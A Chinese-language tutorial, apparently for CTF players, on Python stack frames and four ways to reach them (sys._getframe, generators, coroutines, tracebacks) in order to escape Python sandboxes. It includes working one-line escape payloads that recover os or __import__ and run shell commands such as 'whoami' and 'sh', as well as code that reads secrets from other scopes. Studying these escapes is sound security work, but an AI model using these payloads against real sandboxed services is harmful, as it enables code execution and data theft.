Python栈帧及四类获取栈帧方法
什么是栈帧
每当Python调用一个函数时,它都会在内存中创建一个栈帧对象。这个对象包含了该函数执行所需的所有上下文信息,包括:
- 局部变量 (f_locals)
- 全局变量 (f_globals)
- 上一级调用者的栈帧 (f_back)
- 代码对象 (f_code)
- 内置对象 (f_builtins)
我们可以把栈帧想象成是一个链表。当前正在执行的函数在链表的头部,通过f_back指针,我们可以一步步往回找,直到找到最外层的程序入口。
利用栈帧技术,我们可以在受限的环境中穿越由于函数调用产生的层级,去获取上层甚至全局作用域中的敏感变量或危险函数。
栈帧属性
下面介绍一些常用的栈帧属性:
| 属性 | 描述 | 用途 |
|---|---|---|
| f_back | 指向上一层(调用者)的栈帧对象 | 最核心属性。用于跳出当前受限函数,回到上层寻找可用模块(如 os) |
| f_globals | 当前栈帧的全局变量字典 | 获取全局加载的模块(如 os, sys)或配置信息 (SECRET_KEY) |
| f_locals | 当前栈帧的局部变量字典 | 获取函数内部定义的敏感变量(如 flag) |
| f_builtins | 当前栈帧可用的内置函数 | 如果当前环境删除了 builtins,可从上层栈帧找回 |
| f_code | 当前栈帧执行的代码对象 | 查看文件名、代码指令等信息 |
f_back
这是最核心的属性。它的作用是:跳出当前函数的作用域,去操作调用者环境中的东西。
import sys
def sandbox():
print("[*] 进入沙箱函数...")
# 1. 获取当前栈帧
current_frame = sys._getframe()
# 2. 利用 f_back 回到上一层 (main 函数的栈帧)
caller_frame = current_frame.f_back
# 3. 偷看上一层的局部变量
print(f"[!] 成功获取上层变量: {caller_frame.f_locals['flag']}")
def main():
# 这是定义在 main 里的局部变量,正常情况下 sandbox 访问不到
flag = "CTF{f_back_is_awesome}"
sandbox()
if __name__ == "__main__":
main()
可以看到,sandbox函数中的变量拿到了main函数中变量的值,说明f_back跳出了当前函数的作用域。
f_globals
它的作用是,不管我们在哪一层,通过它都能拿到当前模块加载的所有全局变量和导入的库。
import sys
import os # 假设这是题目自带的,你不能修改
def vulnerable():
# 假设这里不能直接用 os.system,或者被过滤了
# 1. 获取当前栈帧
f = sys._getframe()
# 2. 查看全局变量字典 (f_globals)
# 这就像打开了上帝视角的仓库
global_vars = f.f_globals
if 'os' in global_vars:
print("[+] 在全局变量中找到了 os 模块!")
# 3. 直接通过字典调用 os
global_vars['os'].system('echo "Command Executed via f_globals"')
vulnerable()
这是沙箱逃逸的主力。即使当前环境什么都没有,只要顺着f_back找到某一层,这一层的f_globals有os、sys等,就可以rce了。
f_locals
它的作用是查看特定函数内部的私有变量。
import sys
def secret_function():
# 这是一个只有函数内部知道的秘密
user_password = "MySuperSecretPassword123"
# 假设攻击者能在这里执行一行代码
frame = sys._getframe()
# 直接打印当前帧的所有局部变量
print(f"[!] 泄露当前作用域的所有变量: {frame.f_locals}")
secret_function()
特定情况下,我们可以通过读取f_locals来窃取敏感数据。
f_builtins
它的作用是获取Python原生的内置函数(如open,import,eval)。
import sys
# === 模拟沙箱环境 ===
# 题目把 print 和 open 删了
print = None
open = None
# ==================
def escape():
frame = sys._getframe()
# 尝试直接调用 print,会报错,因为它是 None
# print("hello") -> Error
# 但是!栈帧里的 f_builtins 保存着 Python 最原始的内置函数
original_print = frame.f_builtins['print']
original_print("[+] 成功从 f_builtins 恢复了 print 函数!")
# 甚至可以找回 __import__ 来重新导入模块
original_import = frame.f_builtins['__import__']
os_mod = original_import('os')
original_print(f"[+] 重新导入了 os 模块: {os_mod}")
escape()
f_code
它的作用是提供关于代码本身的信息(文件名、函数名、行号、字节码)。
import sys
def unknown_environment():
f = sys._getframe()
code_obj = f.f_code
print(f"当前函数名 (co_name): {code_obj.co_name}")
print(f"当前文件名 (co_filename): {code_obj.co_filename}")
print(f"当前参数数量 (co_argcount): {code_obj.co_argcount}")
print(f"局部变量名列表 (co_varnames): {code_obj.co_varnames}")
unknown_environment()
利用手法
一、sys
在Python中,主要通过sys模块来获取栈帧。最常用的是sys._getframe()。我们需要先拿到当前帧,才能往上爬。
import sys
frame = sys._getframe()
经典攻击利用手法是爬栈窃取:
- 获取当前位置:
f = sys._getframe() - 向上爬一层:
f = f.back - 查看当前层:
f.f_globals - 拿到os:
os_module = f.f_globals['os'] - 执行命令:
os_module.system('whoami')
本地测试
- 如果os在全局导入,直接通过f_globals获取
- 如果os在函数内部导入,需要通过f_locals获取
- 如果没有os模块,只有sys模块,可以通过
f['sys'].modules['os']获取
二、生成器
利用生成器我们不需要import,也不需要def定义函数,甚至不需要显式的函数调用,就能拿到栈帧。
什么是生成器
在Python中,想要拿到栈帧,通常有两条路:
- 利用sys._getframe(),这需要导入sys,还需要调用函数
- 利用生成器对象,这是Python的语法特性
(x for x in [])就是一个最简单的生成器。当我们写下这个时,Python解释器立刻在内存中创建了一个generator对象。为了维护这个生成器的状态,解释器必须给它分配一个栈帧,并把这个栈帧挂在它的gi_frame属性上。
[x for x in []]是一个列表推导式,计算完结果后扔掉过程,没有栈帧留下(x for x in [])是一个未执行或者"懒执行"的任务包,保留栈帧
生成器属性
gi_frame
它指向了生成器暂停时的那个栈帧对象。它是通往os、sys和builtins的桥梁。
g.gi_frame.f_back.f_globals
gi_code
它返回的是一个代码对象。即使我们无法通过gi_frame拿到f_locals,比如变量被删了,我们依然可以通过gi_code看到编译后的静态数据。
def check():
if input() == "FLAG{Hardcoded_Secret}":
return True
yield
g = check()
# 1. 获取代码对象
code = g.gi_code
# 2. 读取代码中所有的常量 (Constant values)
# 这里面会包含所有的字符串、数字、None 等硬编码的值
print(code.co_consts)
# 输出: (None, 'FLAG{Hardcoded_Secret}')
既不需要执行代码,也不需要拿到栈帧,只要拿到生成器就能拿到所有常量。
其他敏感属性:
g.gi_code.co_name: 函数名g.gi_code.co_filename: 泄露服务器上的绝对路径g.gi_code.co_code: 原始字节码
gi_yieldfrom
当生成器使用了yield from other_gen()的语法时,当前的生成器会委托给other_gen。此时,g.gi_frame指向的是外层生成器的帧。而g.gi_yieldfrom指向的是内层那个正在干活的生成器。
def inner():
# 假设这里面有敏感数据
secret = "Deep Secret"
yield
def outer():
yield from inner() # 委托给 inner
g = outer()
next(g) # 启动生成器,让它卡在 yield from 那一行
# 此时 g 是 outer
print(f"Outer Frame: {g.gi_frame.f_code.co_name}") # -> outer
# 通过 gi_yieldfrom 拿到 inner 生成器
inner_gen = g.gi_yieldfrom
print(f"Inner Frame: {inner_gen.gi_frame.f_code.co_name}") # -> inner
# 进而拿到 inner 的局部变量
print(inner_gen.gi_frame.f_locals)
gi_running
这是一个布尔值。当生成器正在执行时为1,当生成器暂停时为0。
使用方式
找到全局os模块
# 适用于:f_back 一层就能回到全局,且全局里有 os 模块
(x for x in []).gi_frame.f_back.f_globals['os'].system('whoami')
生成器高版本Python报错
在Python3.11+版本中,生成器在刚刚创建但尚未运行时,它的栈帧是"孤立"的,导致f_back为None。只有当生成器正在运行时,它才会链接到调用栈。
def inner():
import os
# 1. 先定义生成器,但不立即用
g = (x for x in [1])
# 2. 让它运行一步
# 这会强制 Python 创建并链接栈帧
try:
next(g)
except StopIteration:
pass
# 3. 现在再去拿 f_back,有时候就能拿到了
# (注:这在不同微版本中表现不稳定,不推荐作为首选)
if g.gi_frame.f_back:
g.gi_frame.f_back.f_locals['os'].system('whoami')
def main():
inner()
if __name__ == "__main__":
main()
手动导入os模块
# 适用于:全局里没有 os,或者 sys 被删了
# 思路:找 builtins -> 找 __import__ -> 加载 os
(x for x in []).gi_frame.f_back.f_globals['__builtins__']['__import__']('os').system('whoami')
看硬编码常量
import sys
# 全局常量
GLOBAL_STR = "Hello, World!"
def inner():
# 局部常量
LOCAL_STR = "Inner Function"
# 创建生成器
gen = (x for x in [])
# 查看生成器自己的常量 (空)
print("生成器内部的常量:", gen.gi_code.co_consts)
# 利用栈帧跳到 inner 函数层,看它的代码常量
# 路径: 生成器帧 -> 上一层(inner)帧 -> inner的代码对象 -> 常量池
inner_consts = gen.gi_frame.f_back.f_code.co_consts
print("inner 函数的常量:", inner_consts)
# 再跳一层到全局,看全局的代码常量
# 路径: ... -> 再上一层(module)帧 -> module的代码对象 -> 常量池
module_consts = gen.gi_frame.f_back.f_back.f_code.co_consts
print("Global 模块的常量:", module_consts)
def main():
inner()
if __name__ == "__main__":
main()
三、异步挂起:协程(coroutine.cr_frame)
在Python3.5以后引入了async def和await语法。当解释器遇到async def定义的函数时,它不会把这个函数当成普通函数,而是把它编译成一个原生协程工厂。
关键特性:当我们调用一个async def函数时,代码不会立即执行,它会返回一个协程对象。这个对象内部已经分配好了一个栈帧,用来保存未来的执行状态。这个栈帧,就挂载在cr_frame上。
核心属性:cr_frame
它的地位等同于生成器的gi_frame。
| 对象类型 | 关键字 | 栈帧属性名 | 地位 |
|---|---|---|---|
| 生成器 | yield | gi_frame | 3.11+ 无法使用 |
| 协程 | async | cr_frame | WAF 绕过率高 |
使用方式
# 1. 定义一个异步函数 (不需要 await,空的就行)
async def spy():
pass
# 2. 调用它 -> 得到协程对象 c
# 注意:此时 spy 里的代码没跑,但 c 已经拿到栈帧了
c = spy()
# 3. 拿到栈帧 -> 拿到 globals -> 拿到 os
# 这里的路径是:c.cr_frame (协程帧) -> .f_globals (全局字典)
# 注意:这里不需要 f_back,因为 spy 是在当前上下文定义的,它的 globals 就是当前的 globals
os_mod = c.cr_frame.f_globals.get('__builtins__').__import__('os') # 也可以用['__builtins__']
# 4. 执行命令
os_mod.system('whoami')
注意:会出现RuntimeWarning: coroutine 'spy' was never awaited警告,但这正是我们想要的,我们不需要协程执行,只需要它被创建时产生的栈帧。
四、异常回溯(Traceback)
核心原理
当Python程序运行出错时,解释器会创建一个Traceback Object(回溯对象),详细记录在哪一行出错的,在哪个函数出错的,当时上下文(栈帧)是什么。因为只有保留了栈帧,调试器或者打印错误的程序才能告诉你当时的变量值。
利用链
- Exception (异常对象): 错误发生后生成的对象
- traceback (属性): 挂在异常对象上的回溯记录
- tb_frame (属性): 回溯记录里保存的栈帧对象
- f_globals (属性): 栈帧里的全局变量
只要能写try...Exception,这个方法就能拿到栈帧。
使用方式
基本利用
def escape():
try:
1 / 0
except Exception as e:
# e 是异常对象
# e.__traceback__ 是回溯记录
# .tb_frame 是当前栈帧 (相当于 sys._getframe())
frame = e.__traceback__.tb_frame
# 2. 拿到栈帧后,剩下的操作和之前一模一样
frame.f_back.f_globals['__builtins__'].__import__('os').system('whoami')
escape()
可以写成一行:
# 只要允许try Exception就能使用
try:raise Exception
except Exception as e:e.__traceback__.tb_frame.f_back.f_globals['os'].system('sh')
多层异常
有时候,错误是层层传递的。traceback对象实际上是一个链表。
| 属性 | 含义 |
|---|---|
| tb_frame | 当前层的栈帧 |
| tb_next | 指向更深一层(被调用者)的traceback对象 |
| tb_lineno | 出错的代码行号 |
import sys
def deep_error():
1/0
def main():
try:
deep_error()
except:
# sys.exc_info() 返回 (type, value, traceback)
tb = sys.exc_info()[2]
# 此时 tb 指向的是 main 这一层的错误现场
print(f"当前层: {tb.tb_frame.f_code.co_name}") # -> main
# tb.tb_next 指向导致错误的更深一层 (deep_error)
if tb.tb_next:
print(f"内层: {tb.tb_next.tb_frame.f_code.co_name}") # -> deep_error
print(tb.tb_next.tb_frame.f_globals['__builtins__'].__import__('os').system('whoami'))
if __name__ == "__main__":
main()
总结
本文详细介绍了Python栈帧的概念、属性以及四种获取栈帧的方法:
- sys模块:最直接的方法,但需要导入sys模块
- 生成器:无需导入模块,但在Python 3.11+中受限
- 协程:WAF绕过率高,适用于现代Python版本
- 异常回溯:利用异常机制获取栈帧,适用性广
每种方法都有其适用场景和限制,在实际应用中需要根据具体环境选择合适的方法。栈帧技术是Python沙箱逃逸和代码审计中的重要知识点,掌握这些技术对于安全研究人员至关重要。